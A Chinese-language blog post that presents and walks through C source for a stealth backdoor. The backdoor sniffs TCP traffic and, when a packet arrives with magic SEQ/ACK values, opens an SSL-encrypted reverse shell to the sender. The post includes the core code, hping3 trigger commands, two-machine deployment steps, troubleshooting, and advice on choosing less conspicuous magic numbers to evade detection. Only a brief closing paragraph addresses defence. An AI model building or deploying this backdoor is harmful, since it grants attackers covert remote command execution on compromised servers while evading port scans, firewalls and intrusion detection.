藏在TCP握手里的暗号:一种基于序列号触发的加密回连后门

想象这样一个场景:你的服务器已经被植入了一个后门,但你用 netstat -tlnp 却完全看不到任何可疑的监听端口。防火墙规则也没被篡改,进程列表里也没有异常服务在跑。那这个后门到底藏在哪?

答案就藏在每天成千上万经过网卡的数据包里。

这套机制本质上是一个**"守株待兔"式的被动触发后门**。它不在系统上监听任何端口,而是直接嗅探网卡上的所有TCP流量,像门卫检查通行证一样,逐个查看数据包的"序列号(SEQ)"和"确认应答号(ACK)"字段。一旦某个包里的这两个数字恰好对上了预设的暗号------比如十六进制的 0xdead0xbeef------后门就会瞬间激活,主动向发送这个"暗号包"的人发起一条SSL加密的反向连接,并把服务器的Shell交出去。

整个过程,被防火墙挡在外面的攻击者,变成了被服务器主动"追求"的对象。

一、为什么要这么设计?思路比代码更重要

搞网络安全的人都懂一个道理:最好的后门不是功能最强的,而是最难被发现的。 这套机制的设计思路,处处都体现了"隐蔽"二字:

1. 不监听端口,就抓不住把柄

传统后门要么绑定一个端口等着连,要么定期往外连。前者在 netstat 里一抓一个准,后者容易被流量分析发现。而这个程序直接调用 libpcap 在数据链路层抓包,根本不需要打开任何TCP/UDP端口。系统管理员就算把端口扫描个遍,也找不到它。

2. 把SEQ/ACK当暗号,大隐隐于市

TCP协议里,每个包都带SEQ和ACK,这是协议正常字段,不是载荷数据,不会触发内容检测。把暗号藏在这里,就像把密码写在了快递单号上------路过的人只会觉得这是正常的网络通信,根本不会多看一眼。

3. 反向连接,专治防火墙"只出不进"

很多企业内网的防火墙策略是"允许出站,限制入站"。正向连接( bind端口等别人连)经常被挡,但反向连接(主动连出去)往往畅通无阻。服务器主动找攻击者,完美绕过了这道坎。

4. SSL加密,让流量看起来像正常HTTPS

连接建立后全程走SSL,通信内容被加密。IDS/IPS就算抓到了这段流量,看到的也是一堆密文,很难判断这是Shell交互还是普通的HTTPS业务请求。

二、代码实现原理:从抓包到拿Shell的全过程

c 复制代码
...
void print_app_usage(const char *app_name)
{
    printf("Usage: %s [interface]\n", app_name);
    printf("Options:\n");
    printf("    interface    Listen on <interface> for packets.\n");
}


SSL_CTX *InitCTX(void)
{
    const SSL_METHOD *method;
    SSL_CTX          *ctx;

    SSL_library_init();

    OpenSSL_add_all_algorithms();       
    SSL_load_error_strings();           
    method = SSLv3_client_method();    
    ctx    = SSL_CTX_new(method);          
    if (ctx == NULL) {
        ERR_print_errors_fp(stderr);
        abort();
    }
    return ctx;
}


void backconnect(struct in_addr addr, u_short port)
{
    struct sockaddr_in sockaddr;
    int                sock;
    FILE              *fd;
    char              *newline;
    char               buf[1028];

    SSL_CTX           *ctx;
    SSL               *ssl;

    ctx                 = InitCTX();
    sockaddr.sin_family = AF_INET;
    sockaddr.sin_port   = port;
    sockaddr.sin_addr   = addr;

    sock = socket(AF_INET, SOCK_STREAM, 0);

    if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) {
        ssl = SSL_new(ctx);
        SSL_set_fd(ssl,sock);

        sock = SSL_get_fd(ssl);     

        if (SSL_connect(ssl) == -1) {
            ERR_print_errors_fp(stderr);
        } else {
            while (SSL_read(ssl,buf,sizeof(buf)-1) > 0) {
                newline = strchr(buf,'\n');
                *newline = '\0';

                fd = popen(buf,"r");
                while(fgets(buf,sizeof(buf)-1,fd) > 0) { 
                    SSL_write(ssl,buf,strlen(buf));
                }
                pclose(fd);
            }
    
            close(sock);
            SSL_CTX_free(ctx);
        }
    }
}

void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {

    const struct sniff_ip  *ip;           
    const struct sniff_tcp *tcp;          
    int                     size_ip;
    int                     size_tcp;
    unsigned int            r_ack;
    unsigned int            r_seq;
    

    ip      = (struct sniff_ip*)(packet + SIZE_ETHERNET);
    size_ip = IP_HL(ip)*4;
    if (size_ip < 20) {
        DEBUG("* Invalid IP header length\n");
        return;
    }

    switch(ip->ip_p) {
        case IPPROTO_TCP:
            break;
        default:
            return;
    }
   
    tcp      = (struct sniff_tcp*)(packet + SIZE_ETHERNET + size_ip);
    size_tcp = TH_OFF(tcp)*4;
    if (size_tcp < 20) {
        DEBUG("* Invalid TCP header length\n");
        return;
    }

    r_ack = ntohl(tcp->th_ack);
    r_seq = ntohl(tcp->th_seq);

    if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) {
        DEBUG("magic packet received\n");
        backconnect(ip->ip_src, tcp->th_sport);
    }
}

int main(int argc, char *argv[])
{
...


    if (argc == 2) {
        dev = argv[1];
    }
    else if (argc > 2) {
        fprintf(stderr, "error: unrecognized command-line options\n\n");
        print_app_usage(argv[0]);
        exit(EXIT_FAILURE);
    } else {

        dev = pcap_lookupdev(errbuf);
        if (dev == NULL) {
            DEBUG( "Couldn't find default device: %s\n", errbuf);
            exit(EXIT_FAILURE);
        }
    }
    

    if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
        DEBUG("Couldn't get netmask for device %s: %s\n", dev, errbuf);
        net = 0;
        mask = 0;
    }


    DEBUG("Device: %s\n", dev);
    DEBUG("Filter expression: %s\n", filter_exp);

    handle = pcap_open_live(dev, MAX_CAP, 1, 1000, errbuf);
    if (handle == NULL) {
        DEBUG("Couldn't open device %s: %s\n", dev, errbuf);
        exit(EXIT_FAILURE);
    }

    if (pcap_datalink(handle) != DLT_EN10MB) {
        DEBUG("%s is not an Ethernet\n", dev);
        exit(EXIT_FAILURE);
    }

    if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
        DEBUG("Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
        exit(EXIT_FAILURE);
    }

    if (pcap_setfilter(handle, &fp) == -1) {
        DEBUG("Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
        exit(EXIT_FAILURE);
    }


    pcap_loop(handle, num_packets, got_packet, NULL);

    pcap_freecode(&fp);
    pcap_close(handle);

    return 0;
}

If you need the complete source code, please add the WeChat number (c17865354792)

别看代码不长,它其实干了好几件专业的事。我把整个流程拆成五段,用大白话给你讲清楚。

第一步:架起"望远镜"------初始化抓包

程序先用 pcap_lookupdev 找到默认网卡,然后用 pcap_open_live 把网卡设为混杂模式。这意味着网卡会把所有经过的帧都交给程序,而不仅仅是发给本机的包。

接着用BPF过滤器设置只抓TCP包,减少不必要的数据处理。

第二步:拆快递------逐层解析协议头

抓到一个包后,程序像剥洋葱一样一层层拆:

复制代码
原始帧 → 以太网头(14字节) → IP头 → TCP头

代码里定义了 sniff_ipsniff_tcp 结构体,直接通过指针偏移定位到TCP头。这里要注意两个细节:

  • 字节序转换 :网络传输是大端序,所以用 ntohl() 把SEQ/ACK转成本机字节序才能比较。
  • 头长度计算:IP头长度字段存的是"4字节字数",所以要乘以4;TCP同理。

第三步:对暗号------检查SEQ和ACK

这是整个程序的"扳机":

c 复制代码
if (r_ack == MAGIC_ACK && r_seq == MAGIC_SEQ) {
    // 暗号对上了,开始干活
    backconnect(ip->ip_src, tcp->th_sport);
}

一旦匹配成功,程序就从"静默监听"状态切换到"行动状态"。

第四步:主动出击------建立SSL反向连接

backconnect 函数是核心动作:

  1. socket() 创建一个普通TCP套接字
  2. 目标地址是刚才那个"暗号包"的源IP ,端口是源端口
  3. 用OpenSSL把普通TCP包装成SSL连接(SSL_connect
  4. 如果SSL握手成功,就进入命令交互循环

这里有个细节:攻击者需要提前在本地用类似 nc -l -p 5000 --ssl 的命令等着,服务器才会连上来。

第五步:交互循环------读命令、执行、回传

连接建立后,程序进入一个简单粗暴的循环:

  • SSL_read 读取攻击者发来的命令
  • popen 执行命令(相当于在服务器上跑系统命令)
  • fgets 读取命令输出
  • SSL_write 把结果加密传回去

这就是一个远程交互式Shell的标准套路,只不过所有流量都套了一层SSL的壳。

三、整个流程的原理图

用一张图概括从攻击者发包到拿到Shell的全过程:

复制代码
攻击者机器                                  被控服务器
    |                                            |
    |  构造特殊TCP包                              |
    |  SEQ=0xdead, ACK=0xbeef                    |
    |  源端口: 5000                               |
    |------------------------------------------->|
    |           [libpcap捕获所有TCP流量]            |
    |           [解析以太网→IP→TCP头]              |
    |           [比对SEQ/ACK暗号]                 |
    |           [暗号匹配! 触发回连]               |
    |                                            |
    |<<-------------------------------------------|
    |         服务器主动连接攻击者:5000             |
    |         [SSL握手建立加密通道]                 |
    |                                            |
    |<<========= 加密命令: "whoami" ==============>|
    |                                            |
    |========== 加密回传: "root" ================>|
    |                                            |
    |<<========= 加密命令: "cat /etc/passwd" =====>|
    |                                            |
    |========== 加密回传: 文件内容 ===============>|

四、这套机制涉及的知识领域

别看代码只有几百行,它横跨了好几个专业领域。搞懂它,相当于把下面这些知识点串成了一条线:

领域 涉及的具体知识
网络编程 libpcap抓包、原始套接字、BPF过滤表达式、混杂模式
TCP/IP协议栈 以太网帧结构、IP头字段、TCP头格式、字节序(大端/小端)、头长度计算
网络安全与渗透测试 后门设计、隐蔽通信、端口敲门(Port Knocking)的变种思路、防火墙绕过
密码学与安全通信 OpenSSL编程、SSL/TLS握手、加密通道建立、证书与上下文(CTX)管理
操作系统与进程 popen管道、fork/exec隐式调用、文件描述符复用
逆向与取证 无端口后门的检测难点、基于网络流量的异常行为分析

五、一些值得琢磨的细节

为什么用 0xdead0xbeef

这其实是程序员圈子的"彩蛋"式写法。deadbeef 在十六进制里读起来顺口,又带点黑色幽默(死牛肉),常被用来当调试时的魔数。实际用的时候,你完全可以改成任意32位数字,越普通越好,比如改成类似正常TCP连接的随机数,隐蔽性更强。

SEQ和ACK是每个TCP包都有的吗?

是的。只要是个TCP包,不管里面有没有数据,头部都会带这两个32位字段。这意味着你可以把暗号藏在SYN包、ACK包、甚至RST包里,触发方式非常灵活。

如果服务器在内网,NAT怎么办?

这是个好问题。如果服务器在NAT后面,反向连接通常能成功,因为NAT设备会维护出站连接的映射表。但如果攻击者也在NAT后面,就需要额外的跳板或端口映射。所以实际场景中,攻击者往往放在有公网IP的VPS上。


六、开始测试(开三个终端)

下面演示单机自测 (三个终端都在同一台机器,走后环网卡 lo)。如果是两台机器测试,把 127.0.0.1 换成实际 IP,网卡 lo 换成 eth0 即可。

终端 1:启动 SSL 接收端
bash 复制代码
python3 /mnt/agents/output/ssl_server.py

你会看到:

复制代码
[*] 等待被控端反向连接 0.0.0.0:5000 ...
终端 2:启动后门(必须 root)
bash 复制代码
sudo ./seqack lo

lo 是回环网卡。如果不指定,它会自动找默认网卡。程序启动后不会有输出(因为 DEBUG 宏默认输出到 stderr,而代码里 DEBUG 只在有宏定义时生效,实际运行是静默抓包)。

终端 3:发送"暗号包"触发(必须 root)
bash 复制代码
sudo hping3 -M 0xdead -L 0xbeef 127.0.0.1 -s 5000 -c 1 -p 12345

参数含义:

  • -M 0xdead:把 TCP 序列号(SEQ)设为暗号 0xdead
  • -L 0xbeef:把确认号(ACK)设为暗号 0xbeef
  • -s 5000源端口,后门收到后会反向连接这个端口(也就是我们的 Python 服务端端口)
  • -p 12345:目标端口,随便填,因为后门是在网卡层面抓包,不 care 这个端口有没有服务

观察效果

如果一切顺利,终端 1 会立刻显示:

复制代码
[+] 连接来自: ('127.0.0.1', xxxxx)
[回显] root
shell>

这时候你在 shell> 后面输入命令(比如 iduname -als /tmp),被控端就会执行并通过 SSL 加密通道回传结果。


常见问题排雷
现象 原因 解决
编译报错 undefined reference to SSLv3_client_method OpenSSL 太新,不支持 SSLv3 按第二步改成 TLS_client_method()
sudo ./seqack 提示找不到设备 没指定网卡且自动查找失败 手动指定,如 sudo ./seqack eth0lo
终端 1 一直没反应 hping3 的包没经过 seqack 抓包的网卡 确认 IP 和网卡对应;单机测试务必用 lo
SSL 握手失败/连接被拒绝 Python 脚本没启动、防火墙挡了、或者证书不匹配 检查 5000 端口是否在监听;证书文件是否在同级目录
中文乱码或显示异常 终端编码问题 不影响功能,只是显示问题

两台机器的真实网络测试

如果你有两台虚拟机/主机:

  1. 被控机(比如 192.168.1.10):

    bash 复制代码
    sudo ./seqack eth0
  2. 攻击机(比如 192.168.1.20):

    • 先跑 Python SSL 服务端等连接

    • 再发暗号包:

      bash 复制代码
      sudo hping3 -M 0xdead -L 0xbeef 192.168.1.10 -s 5000 -c 1 -p 80
  3. 被控机收到暗号后,会主动连回 192.168.1.20:5000,SSL 隧道建立,Shell 到手。



总结

这套机制最精彩的地方,不在于它用了多高深的算法,而在于它把几个基础技术组合出了新的隐蔽维度:用协议固有字段当信号、用抓包代替监听、用反向连接绕过边界、用SSL掩盖意图。

它提醒我们,网络安全攻防从来不是单纯比谁的代码写得复杂,而是比谁更懂协议的每一个角落,更懂系统行为的每一个细节。那些你以为"只是正常协议字段"的地方,往往就是对手藏暗号的地方。

对于防守方来说,检测这类后门的关键不在于看端口,而在于看行为------为什么这台服务器会主动向一个外部IP发起SSL连接?为什么网卡持续处于混杂模式?这些异常,才是暴露它的蛛丝马迹。

Welcome to follow WeChat official account【程序猿编码

相关推荐
运维行者_10 小时前
ITOps自动化:全面解析
java·服务器·开发语言·网络·云计算
minji...10 小时前
Linux 网络基础之传输层协议TCP(八)拥塞控制,延迟应答,捎带应答,TCP粘包问题,异常退出问题
linux·服务器·网络·网络协议·tcp/ip·http·智能路由器
王璐WL10 小时前
【Linux】基础指令
linux·服务器
one day32110 小时前
软考网络工程师第三部
网络·安全·web安全
步十人10 小时前
【Linux】基础命令
linux·运维·服务器
Languorous.10 小时前
Linux 开关机、重启、注销命令(新手安全操作指南)
linux·运维·安全
clear sky .10 小时前
[freeRTOS源码阅读]list.c/h
linux·服务器·windows
tudoSearcher10 小时前
服务器蓝屏了远程连不上?工业级IP KVM的硬件级抢救实战
运维·服务器·tcp/ip
yqzyy10 小时前
C#如何优雅处理引用类型的深拷贝(十一)
java·网络·nginx